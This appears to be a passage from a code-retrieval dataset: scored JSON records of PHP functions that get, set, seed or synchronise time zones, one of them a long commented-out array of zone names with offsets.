$expectedIsUTC); // date_default_timezone_set(\"Hongkong\");\n $this->assertEquals(ini_get('date.timezone'), $expectedIsUTC); // date_default_timezone_set(\"Hongkong\");\n }", "title": "" }, { "docid": "e6b24ed88f55df2f50fd79634460ced9", "score": "0.5598032", "text": "public function local_tz()\n\t{\n\t\tif ($this->local_tz) return $this->local_tz;\n\n\t\t// use the timezone for the current newsroom\n\t\tif ($this->newsroom && $this->newsroom->timezone) return \n\t\t\t$this->local_tz = new DateTimeZone($this->newsroom->timezone);\n\n\t\t// use the timezone for the default newsroom for this user\n\t\tif (($user = Auth::user()) && ($default_newsroom = $user->default_newsroom()))\n\t\t\tif ($default_newsroom->timezone) return\n\t\t\t\t$this->local_tz = new DateTimeZone($default_newsroom->timezone);\n\n\t\t// use the default UTC timezone\n\t\treturn $this->local_tz = new DateTimeZone($this->conf('timezone'));\n\t}", "title": "" }, { "docid": "7edd9bc485e56ae10311f522ce68bba4", "score": "0.55802566", "text": "public function user_timezone() {\n global $USER, $remotedb;\n $sql = \"SELECT timezone FROM {user} WHERE id = ?\";\n $params = array($USER->id);\n $timezone = $remotedb->get_record_sql($sql, $params);\n return $timezone ? $timezone->timezone : 99;\n }", "title": "" }, { "docid": "eb8f66ac08ae2bc76edc9b8fff06c810", "score": "0.55708444", "text": "public function getTimeZone() {\n try {\n return new \\DateTimeZone($this->timezone);\n } catch (\\Exception $e) {\n // Default to application time zone if the user hasn't set their time zone\n return new \\DateTimeZone(\\Yii::$app->timeZone);\n }\n }", "title": "" }, { "docid": "ca5797143ab3c34f0438b98a87115774", "score": "0.5563498", "text": "public function loadTimeZone()\n {\n date_default_timezone_set(config()->app->timezone);\n\n return $this;\n }", "title": "" }, { "docid": "88e535c52b27096a8035a606c0b4dbfd", "score": "0.5562302", "text": "function user_timezone(): string\n{\n if(config('app.user_timezone')) {\n return config('app.user_timezone');\n } else {\n return config('app.timezone');\n }\n}", "title": "" }, { "docid": "58262fa4a6fbf0059199f5a0ddd23192", "score": "0.555833", "text": "function getDefaultTimezone()\r\n\t{\r\n\t\treturn APP_DEFAULT_TIMEZONE;\r\n\t}", "title": "" }, { "docid": "0b08bb62c034ff3e06e1b0d5098f50f7", "score": "0.5552343", "text": "public function setTimezone($timezone)\n {\n $this->timezone = $timezone;\n\n // We need to re-build the SOAP headers.\n $this->headers = array();\n }", "title": "" }, { "docid": "d916c19a416a20006fb7f326c2c757df", "score": "0.55503166", "text": "function wp_timezone_override_offset()\n {\n }", "title": "" }, { "docid": "24e7dd2b12e69adece24c7d603e1c089", "score": "0.5548938", "text": "public static function getCurrentTime(){\n\t $curTime = Zend_Date::now();\n\t $curTime -> setTimezone('Asia/Bangkok'); \n\t return $curTime;\n\t }", "title": "" }, { "docid": "7be6b2984b31a086a580fa4e48f0008b", "score": "0.55455595", "text": "public function setTimeZone(\\DateTimeZone $timeZone) {\n $this->setAttribute('timezone', $timeZone->getName());\n }", "title": "" }, { "docid": "ead277cdba7c0249d964a25e696c70c2", "score": "0.55419797", "text": "function sync_php_and_mysql_timezones($config){\n $config->timezone = isset($config->timezone) ? $config->timezone : 'Europe/London';\n date_default_timezone_set($config->timezone);\n $now = new DateTime();\n $minutes = $now->getOffset() / 60;\n $segment = ($minutes < 0 ? -1 : 1);\n $minutes = abs($minutes);\n $hours = floor($minutes / 60);\n $minutes -= $hours * 60;\n $offset = sprintf('%+d:%02d', $hours*$segment, $minutes);\n db::pdo()->query('SET time_zone = :timezone;');\n db::pdo()->bind(array(':timezone' => $offset));\n db::pdo()->execute();\n }", "title": "" }, { "docid": "0f502c5cb3e8fc569e526e7a6b94bfac", "score": "0.55299914", "text": "public static function loadTimeZone($force = false)\n {\n $gmt = 0;\n\n $cookie_gmt = 0;\n $account_gmt = 0;\n $session_gmt = 0;\n\n if (isset($_COOKIE['timezone'])) {\n $gmt = $cookie_gmt = (int)$_COOKIE['timezone'];\n }\n\n if (!F::User()->isGuest) {\n $Account = F::Account();\n\n $gmt = $account_gmt = !empty($Account->timezone)\n ? $Account->timezone\n : $gmt;\n }\n\n $Session = \\Yii::$app->get('session', false);\n\n if ($Session && $Session->has('timezone')) {\n $gmt = $session_gmt = (int)$Session->get('timezone', 0);\n }\n\n if (is_integer($force)) {\n $gmt = $force;\n } elseif (is_string($force) && in_array($force, ['cookie', 'cookies', 'account', 'session'])) {\n switch ($force) {\n case 'cookie':\n case 'cookies':\n $gmt = $cookie_gmt;\n break;\n case 'account':\n $gmt = $account_gmt;\n break;\n case 'session':\n $gmt = $session_gmt;\n break;\n }\n }\n\n $gmt = $gmt < -14 || $gmt > 12 // GMT-14 && GMT+12\n ? 0\n : $gmt;\n\n if ($gmt <= 0) {\n $char = '-';\n } else {\n $char = '+';\n }\n\n $timezone = sprintf('Etc/GMT%s%d', $char, abs($gmt));\n\n \\Yii::$app->formatter->defaultTimeZone = $timezone;\n \\Yii::$app->formatter->timeZone = $timezone;\n \\Yii::$app->timeZone = $timezone;\n\n ini_set('date.timezone', $timezone);\n }", "title": "" }, { "docid": "62ca55a9ad74cc9204a68948cd95d6df", "score": "0.5526305", "text": "public function getUserDefaultTimezone()\n\t{\n\t\treturn $this->user_default_timezone;\n\t}", "title": "" }, { "docid": "e94d3833dbda741a7b7dd3629e526141", "score": "0.55183536", "text": "public function getDefaultTimeZone()\n {\n return date_default_timezone_get();\n }", "title": "" }, { "docid": "2492d54a507cc6df5fdeb8b5eaccab58", "score": "0.5512274", "text": "public function nowInTimeZone(\\DateTimeZone $timezone);", "title": "" }, { "docid": "e58e229a68ea29bc5ce0007b626218ae", "score": "0.55089", "text": "public function getDefaultTimezonePath();", "title": "" }, { "docid": "849e667a1557534d9db67c8b61b78ac4", "score": "0.5508514", "text": "public function run()\n {\n TimeZone::truncate();\n\n foreach (phpDefaultTimeZones() as $timezone)\n {\n TimeZone::insert(\n [\n 'zone' => $timezone['zone'],\n 'gmt' => $timezone['diff_from_GMT'],\n ]\n );\n }\n // TimeZone::truncate();\n // TimeZone::insert([\n // [\n // 'id' => 1,\n // 'zone' => 'Africa/Abidjan',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 2,\n // 'zone' => 'Africa/Accra',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 3,\n // 'zone' => 'Africa/Addis_Ababa',\n // 'gmt' => '+3',\n // ],\n // [\n // 'id' => 4,\n // 'zone' => 'Africa/Algiers',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 5,\n // 'zone' => 'Africa/Asmara',\n // 'gmt' => '+3',\n // ],\n // [\n // 'id' => 6,\n // 'zone' => 'Africa/Bamako',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 7,\n // 'zone' => 'Africa/Bangui',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 8,\n // 'zone' => 'Africa/Banjul',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 9,\n // 'zone' => 'Africa/Bissau',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 10,\n // 'zone' => 'Africa/Blantyre',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 11,\n // 'zone' => 'Africa/Brazzaville',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 12,\n // 'zone' => 'Africa/Bujumbura',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 13,\n // 'zone' => 'Africa/Cairo',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 14,\n // 'zone' => 'Africa/Casablanca',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 15,\n // 'zone' => 'Africa/Ceuta',\n // 'gmt' => '1',\n // ],\n // [\n // 'id' => 16,\n // 'zone' => 'Africa/Conakry',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 17,\n // 'zone' => 'Africa/Dakar',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 18,\n // 'zone' => 'Africa/Dar_es_Salaam',\n // 'gmt' => '+3',\n // ],\n // [\n // 'id' => 19,\n // 'zone' => 'Africa/Djibouti',\n // 'gmt' => '+3',\n // ],\n // [\n // 'id' => 20,\n // 'zone' => 'Africa/Douala',\n // 'gmt' => '+1',\n // ],\n\n // [\n // 'id' => 21,\n // 'zone' => 'Africa/El_Aaiun',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 22,\n // 'zone' => 'Africa/Freetown',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 23,\n // 'zone' => 'Africa/Gaborone',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 24,\n // 'zone' => 'Africa/Harare',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 25,\n // 'zone' => 'Africa/Johannesburg',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 26,\n // 'zone' => 'Africa/Juba',\n // 'gmt' => '+3',\n // ],\n // [\n // 'id' => 27,\n // 'zone' => 'Africa/Kampala',\n // 'gmt' => '+3',\n // ],\n // [\n // 'id' => 28,\n // 'zone' => 'Africa/Khartoum',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 29,\n // 'zone' => 'Africa/Kigali',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 30,\n // 'zone' => 'Africa/Kinshasa',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 31,\n // 'zone' => 'Africa/Lagos',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 32,\n // 'zone' => 'Africa/Libreville',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 33,\n // 'zone' => 'Africa/Lome',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 34,\n // 'zone' => 'Africa/Luanda',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 35,\n // 'zone' => 'Africa/Lubumbashi',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 36,\n // 'zone' => 'Africa/Lusaka',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 37,\n // 'zone' => 'Africa/Malabo',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 38,\n // 'zone' => 'Africa/Maputo',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 39,\n // 'zone' => 'Africa/Maseru',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 40,\n // 'zone' => 'Africa/Mbabane',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 41,\n // 'zone' => 'Africa/Mogadishu',\n // 'gmt' => '+3',\n // ],\n // [\n // 'id' => 42,\n // 'zone' => 'Africa/Monrovia',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 43,\n // 'zone' => 'Africa/Nairobi',\n // 'gmt' => '+3',\n // ],\n // [\n // 'id' => 44,\n // 'zone' => 'Africa/Ndjamena',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 45,\n // 'zone' => 'Africa/Niamey',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 46,\n // 'zone' => 'Africa/Nouakchott',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 47,\n // 'zone' => 'Africa/Ouagadougou',\n // 'gmt' => '0',\n // ],\n // [\n // 'id' => 48,\n // 'zone' => 'Africa/Porto-Novo',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 49,\n // 'zone' => 'Africa/Sao_Tome',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 50,\n // 'zone' => 'Africa/Tripoli',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 51,\n // 'zone' => 'Africa/Tunis',\n // 'gmt' => '+1',\n // ],\n // [\n // 'id' => 52,\n // 'zone' => 'Africa/Windhoek',\n // 'gmt' => '+2',\n // ],\n // [\n // 'id' => 53,\n // 'zone' => 'America/Adak',\n // 'gmt' => '-10',\n // ],\n // [\n // 'id' => 54,\n // 'zone' => 'America/Anchorage',\n // 'gmt' => '-9',\n // ],\n // [\n // 'id' => 55,\n // 'zone' => 'America/Anguilla',\n // 'gmt' => '-4',\n // ],\n // [\n // 'id' => 56,\n // 'zone' => 'America/Antigua',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 57,\n // 'zone' => 'America/Araguaina',\n // 'gmt' => '-3',\n // ],\n // [\n // 'id' => 58,\n // 'zone' => 'America/Argentina/Buenos_Aires',\n // 'gmt' => '-3',\n // ],\n // [\n // 'id' => 59,\n // 'zone' => 'America/Argentina/Catamarca',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 60,\n // 'zone' => 'America/Argentina/Cordoba',\n // 'gmt' => '-3',\n // ],\n // [\n // 'id' => 61,\n // 'zone' => 'America/Argentina/Jujuy',\n // 'gmt' => '-3',\n // ],\n // [\n // 'id' => 62,\n // 'zone' => 'America/Argentina/La_Rioja',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 63,\n // 'zone' => 'America/Argentina/Mendoza',\n // 'gmt' => '-3',\n // ],\n // [\n // 'id' => 64,\n // 'zone' => 'America/Argentina/Rio_Gallego',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 65,\n // 'zone' => 'America/Argentina/Salta',\n // 'gmt' => '-3',\n // ],\n // [\n // 'id' => 66,\n // 'zone' => 'America/Argentina/San_Juan',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 67,\n // 'zone' => 'America/Argentina/San_Luis',\n // 'gmt' => '-3',\n // ],\n // [\n // 'id' => 68,\n // 'zone' => 'America/Argentina/Tucuman',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 69,\n // 'zone' => 'America/Argentina/Ushuaia',\n // 'gmt' => '-3',\n // ],\n // [\n // 'id' => 70,\n // 'zone' => 'America/Aruba',\n // 'gmt' => '-4',\n // ],\n // [\n // 'id' => 71,\n // 'zone' => 'America/Asuncion',\n // 'gmt' => '-4',\n // ],\n // [\n // 'id' => 72,\n // 'zone' => 'America/Atikokan',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 73,\n // 'zone' => 'America/Bahia',\n // 'gmt' => '-3',\n // ],\n // [\n // 'id' => 74,\n // 'zone' => 'America/Bahia_Banderas',\n // 'gmt' => '-6',\n // ],\n // [\n // 'id' => 75,\n // 'zone' => 'America/Barbados',\n // 'gmt' => '-5',\n // ],\n // [\n // 'id' => 76,\n // 'zone' => 'America/Belem',\n // 'gmt' => '-3',\n // ],\n // [\n // 'id' => 77,\n // 'zone' => 'America/Belize',\n // 'gmt' => '-6',\n // ],\n // [\n // 'id' => 78,\n // 'zone' => 'America/Blanc-Sablon',\n // 'gmt' => '-4',\n // ],\n // [\n // 'id' => 79,\n // 'zone' => 'America/Boa_Vista',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 80,\n // 'zone' => 'America/Bogota',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 81,\n // 'zone' => 'America/Boise',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 82,\n // 'zone' => 'America/Cambridge_Bay',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 83,\n // 'zone' => 'America/Campo_Grande',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 84,\n // 'zone' => 'America/Cancun',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 85,\n // 'zone' => 'America/Caracas',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 86,\n // 'zone' => 'America/Cayenne',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 87,\n // 'zone' => 'America/Cayman',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 88,\n // 'zone' => 'America/Chicago',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 89,\n // 'zone' => 'America/Chihuahua',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 90,\n // 'zone' => 'America/Costa_Rica',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 91,\n // 'zone' => 'America/Creston',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 92,\n // 'zone' => 'America/Cuiaba',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 93,\n // 'zone' => 'America/Curacao',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 94,\n // 'zone' => 'America/Danmarkshavn',\n // 'gmt' => '0',\n // ],\n\n // [\n // 'id' => 95,\n // 'zone' => 'America/Dawson',\n // 'gmt' => '-8',\n // ],\n\n // [\n // 'id' => 96,\n // 'zone' => 'America/Dawson_Creek',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 97,\n // 'zone' => 'America/Denver',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 98,\n // 'zone' => 'America/Detroit',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 99,\n // 'zone' => 'America/Dominica',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 100,\n // 'zone' => 'America/Edmonton',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 101,\n // 'zone' => 'America/Eirunepe',\n // 'gmt' => '-5',\n // ],\n // [\n // 'id' => 102,\n // 'zone' => 'America/El_Salvador',\n // 'gmt' => '-5',\n // ],\n // [\n // 'id' => 103,\n // 'zone' => 'America/Fort_Nelson',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 104,\n // 'zone' => 'America/Fortaleza',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 105,\n // 'zone' => 'America/Glace_Bay',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 106,\n // 'zone' => 'America/Godthab',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 107,\n // 'zone' => 'America/Goose_Bay',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 108,\n // 'zone' => 'America/Grand_Turk',\n // 'gmt' => '-8',\n // ],\n\n // [\n // 'id' => 109,\n // 'zone' => 'America/Grenada',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 110,\n // 'zone' => 'America/Guadeloupe',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 111,\n // 'zone' => 'America/Guatemala',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 112,\n // 'zone' => 'America/Guayaquil',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 113,\n // 'zone' => 'America/Guyana',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 114,\n // 'zone' => 'America/Eirunepe',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 115,\n // 'zone' => 'America/Havana',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 116,\n // 'zone' => 'America/Hermosillo',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 117,\n // 'zone' => 'America/Indiana/Indianapo',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 118,\n // 'zone' => 'America/Indiana/Knox',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 119,\n // 'zone' => 'America/Indiana/Marengo',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 120,\n // 'zone' => 'America/Indiana/Petersburg',\n // 'gmt' => '-5',\n // ],\n // [\n // 'id' => 121,\n // 'zone' => 'America/Indiana/Tell_City',\n // 'gmt' => '-6',\n // ],\n // [\n // 'id' => 122,\n // 'zone' => 'America/Indiana/Vevay',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 123,\n // 'zone' => 'America/Indiana/Vincennes',\n // 'gmt' => '-5',\n // ],\n // [\n // 'id' => 124,\n // 'zone' => 'AAmerica/Indiana/Winamac',\n // 'gmt' => '-5',\n // ],\n // [\n // 'id' => 125,\n // 'zone' => 'America/Inuvik',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 126,\n // 'zone' => 'America/Iqaluit',\n // 'gmt' => '-5',\n // ],\n // [\n // 'id' => 127,\n // 'zone' => 'America/Jamaica',\n // 'gmt' => '-5',\n // ],\n // [\n // 'id' => 128,\n // 'zone' => 'America/Juneau',\n // 'gmt' => '-9',\n // ],\n // [\n // 'id' => 129,\n // 'zone' => 'America/Kentucky/Louisville',\n // 'gmt' => '-9',\n // ],\n // [\n // 'id' => 130,\n // 'zone' => 'America/Kentucky/Monticello',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 131,\n // 'zone' => 'America/Kralendijk',\n // 'gmt' => '-5',\n // ],\n // [\n // 'id' => 132,\n // 'zone' => 'America/La_Paz',\n // 'gmt' => '-5',\n // ],\n // [\n // 'id' => 133,\n // 'zone' => 'America/Lima',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 134,\n // 'zone' => 'America/Los_Angeles',\n // 'gmt' => '-8',\n // ],\n // [\n // 'id' => 135,\n // 'zone' => 'America/Lower_Princes',\n // 'gmt' => '-5',\n // ],\n // [\n // 'id' => 136,\n // 'zone' => 'America/Maceio',\n // 'gmt' => '-3',\n // ],\n // [\n // 'id' => 137,\n // 'zone' => 'America/Managua',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 138,\n // 'zone' => 'America/Manaus',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 139,\n // 'zone' => 'America/Marigot',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 140,\n // 'zone' => 'America/Martinique',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 141,\n // 'zone' => 'America/Matamoros',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 142,\n // 'zone' => 'America/Mazatlan',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 143,\n // 'zone' => 'America/Menominee',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 144,\n // 'zone' => 'America/Merida',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 145,\n // 'zone' => 'America/Metlakatlae',\n // 'gmt' => '-6',\n // ],\n // [\n // 'id' => 146,\n // 'zone' => 'America/Mexico_City',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 147,\n // 'zone' => 'America/Miquelon',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 148,\n // 'zone' => 'America/Moncton',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 149,\n // 'zone' => 'America/Monterrey',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 150,\n // 'zone' => 'America/Montevideo',\n // 'gmt' => '-3',\n // ],\n\n // [\n // 'id' => 151,\n // 'zone' => 'America/Montserrat',\n // 'gmt' => '-4',\n // ],\n\n // [\n // 'id' => 152,\n // 'zone' => 'America/Nassau',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 153,\n // 'zone' => 'America/New_York',\n // 'gmt' => '-5',\n // ],\n\n // [\n // 'id' => 154,\n // 'zone' => 'America/Nipigon',\n // 'gmt' => '-7',\n // ],\n\n // [\n // 'id' => 155,\n // 'zone' => 'America/Nome',\n // 'gmt' => '-9',\n // ],\n // [\n // 'id' => 156,\n // 'zone' => ' America/Noronha',\n // 'gmt' => '-6',\n // ],\n // [\n // 'id' => 157,\n // 'zone' => 'America/North_Dakota/Beulah',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 158,\n // 'zone' => 'America/North_Dakota/Center',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 159,\n // 'zone' => 'America/North_Dakota/New_Salem',\n // 'gmt' => '-6',\n // ],\n\n // [\n // 'id' => 160,\n // 'zone' => 'America/Ojinaga',\n // 'gmt' => '-7',\n // ],\n // ]);\n\n }", "title": "" }, { "docid": "2f9483c7cd0006aac57aab23ba072929", "score": "0.5506537", "text": "public function setTimezone($timezone)\n {\n $this->timezone = $timezone instanceof DateTimeZone ? $timezone : new DateTimeZone($timezone);\n }", "title": "" }, { "docid": "b46e81c91562cd9ae7acc8eac06efceb", "score": "0.5491139", "text": "function get_timezone ()\n{\n\tglobal $user_data, $default_timezone, $time_zone, $time_zone_offset, $time_zone_list, $time_zone_dst;\n\n\t$time_zone = (empty($user_data['time_zone'])\n\t\t? (empty($default_timezone)\n\t\t\t? 0\n\t\t\t: $default_timezone)\n\t\t: $user_data['time_zone']);\n\n\t// TZ is valid...\n\tif (isset($time_zone_list[$time_zone]))\n\t{\n\t\t$time_zone_offset = $time_zone_list[$time_zone][0] * 3600;\n\t}\n\t// TZ not found/set in the array\n\telse\n\t{\n\t\t$time_zone = 'N/A';\n\t}\n}", "title": "" }, { "docid": "8e53e227782ef0fc3b7a4cef7e4d27e2", "score": "0.54835093", "text": "public function set_system_date_and_time($use_ntp, $daylight_savings, $time_zone, $utc_date_time) {\n\t\t$req = array(\n\t\t\t'DateTimeType' => $use_ntp ? 'NTP' : 'Manual',\n\t\t\t'DaylightSavings' => $daylight_savings,\n\t\t\t'TimeZone' => array(\n\t\t\t\t'TZ' => $time_zone,\n\t\t\t),\n\t\t\t'UTCDateTime' => array(\n\t\t\t\t'Time' => array(\n\t\t\t\t\t'Hour' => gmdate( 'H', $utc_date_time ),\n\t\t\t\t\t'Minute' => gmdate( 'i', $utc_date_time ),\n\t\t\t\t\t'Second' => gmdate( 's', $utc_date_time ),\n\t\t\t\t),\n\t\t\t\t'Date' => array(\n\t\t\t\t\t'Year' => gmdate( 'Y', $utc_date_time ),\n\t\t\t\t\t'Month' => gmdate( 'm', $utc_date_time ),\n\t\t\t\t\t'Day' => gmdate( 'd', $utc_date_time ),\n\t\t\t\t),\n\t\t\t),\n\t\t);\n\t\t$this->client->SetSystemDateAndTime( $req );\n\t}", "title": "" }, { "docid": "38c66b014564f937a02a10828e8a9ce5", "score": "0.54820573", "text": "public function timezone(?string $timezone): static;", "title": "" }, { "docid": "45acdc8db0be630ab489a917c323d51f", "score": "0.5481355", "text": "public static function tearDownAfterClass()\n {\n date_default_timezone_set(self::$systemTimezone);\n }", "title": "" }, { "docid": "9abee17c6a4a5461c0c81f9151d7aaf1", "score": "0.54767925", "text": "public function setUserTimeZone($userTimeZone)\n {\n $this->userTimeZone = $userTimeZone;\n return $this;\n }", "title": "" }, { "docid": "2e13aec884ca3a675aa024de0efb5262", "score": "0.54752445", "text": "public function setUserDefaultTimezone($v)\n\t{\n\t\tif ($v !== null) {\n\t\t\t$v = (string) $v;\n\t\t}\n\n\t\tif ($this->user_default_timezone !== $v) {\n\t\t\t$this->user_default_timezone = $v;\n\t\t\t$this->modifiedColumns[] = UserPeer::USER_DEFAULT_TIMEZONE;\n\t\t}\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "af505a3acdf86c4f749a2d960dcf3226", "score": "0.5474883", "text": "public static function user_timezone($user=null, $type='vcalendar')\n\t{\n\t\tif (!$user || $user == $GLOBALS['egw_info']['user']['account_id'])\n\t\t{\n\t\t\t$tzid = $GLOBALS['egw_info']['user']['preferences']['common']['tz'];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$prefs_obj = new preferences($user);\n\t\t\t$prefs = $prefs_obj->read();\n\t\t\t$tzid = $prefs['common']['tz'];\n\t\t}\n\t\tif (!$tzid) $tzid = egw_time::$server_timezone->getName();\n\n\t\tswitch ($type)\n\t\t{\n\t\t\tcase 'vcalendar':\n\t\t\t\t// checking type of $val, now we included the object definition (no need to always include it!)\n\t\t\t\t$vcal = new Horde_Icalendar;\n\t\t\t\t$vcal->setAttribute('PRODID','-//EGroupware//NONSGML EGroupware Calendar '.$GLOBALS['egw_info']['apps']['calendar']['version'].'//'.\n\t\t\t\t\tstrtoupper($GLOBALS['egw_info']['user']['preferences']['common']['lang']));\n\t\t\t\tself::add_vtimezone($vcal, $tzid);\n\t\t\t\t$tzid = $vcal->exportvCalendar('utf-8');\n\t\t\t\tbreak;\n\t\t\tcase 'tzid':\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$tzid = self::tz2id($tzid,$type == 'vcalendar' ? 'component' : $type);\n\t\t\t\tbreak;\n\t\t}\n\t\treturn $tzid;\n\t}", "title": "" }, { "docid": "87fb7e571122ddebb353d50346802f6b", "score": "0.5474768", "text": "public function setTimeZone(string $timeZone)\n\t{\n\t\t$this->addKeyValue('time_zone', $timeZone); \n\n\t}", "title": "" }, { "docid": "bdd70b74f7a990b8c3772f25e51b17a2", "score": "0.54718095", "text": "function setTimezoneOffset($offset=null){\r\n\t\tif(!empty($offset)){\r\n\t\t\t$this->timezone_offset = $offset;\r\n\t\t}\r\n\t\telse if(!empty($_SESSION['timezone_offset'])){\r\n\t\t\t$this->timezone_offset = $_SESSION['timezone_offset'];\r\n\t\t}\r\n\t\telse{\r\n\t\t\t// don't set any offset \r\n\t\t\t// default is server time\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "27170b843754d45da9eb07a50a3fd9cd", "score": "0.54672176", "text": "protected function setTemporaryTimeZone($timeZone): void\n\t{\n\t\t$this->originalTimeZone = $this->dateTime->getTimezone();\n\n\t\ttry {\n\t\t\t$this->setTimeZone($this->createTimeZone($timeZone));\n\t\t} catch (InvalidArgumentException $e) {\n\t\t\t$this->originalTimeZone = null;\n\n\t\t\tthrow $e;\n\t\t}\n\t}", "title": "" }, { "docid": "a47f159f5f75b4d5d7ca90aac19a7aac", "score": "0.54480463", "text": "public function hookUserAuthenticated(GDO_User $user)\n {\n \t$user->saveVar('user_timezone', $user->getTimezone());\n }", "title": "" }, { "docid": "3136334d83083edb141a938c0dba848e", "score": "0.5418243", "text": "function preUpdate(){\n $this->alteradoEm = new \\DateTime('now');\n $this->alteradoEm->setTimezone(new \\DateTimeZone('America/Sao_Paulo'));\n }", "title": "" }, { "docid": "2fded6f5e1d9779141bbb30e4a626dc1", "score": "0.5415685", "text": "function getUsersTimeZoneObject()\n {\n $userTimeZone = new DateTimeZone(wecUser::getUserLocale());\n\n 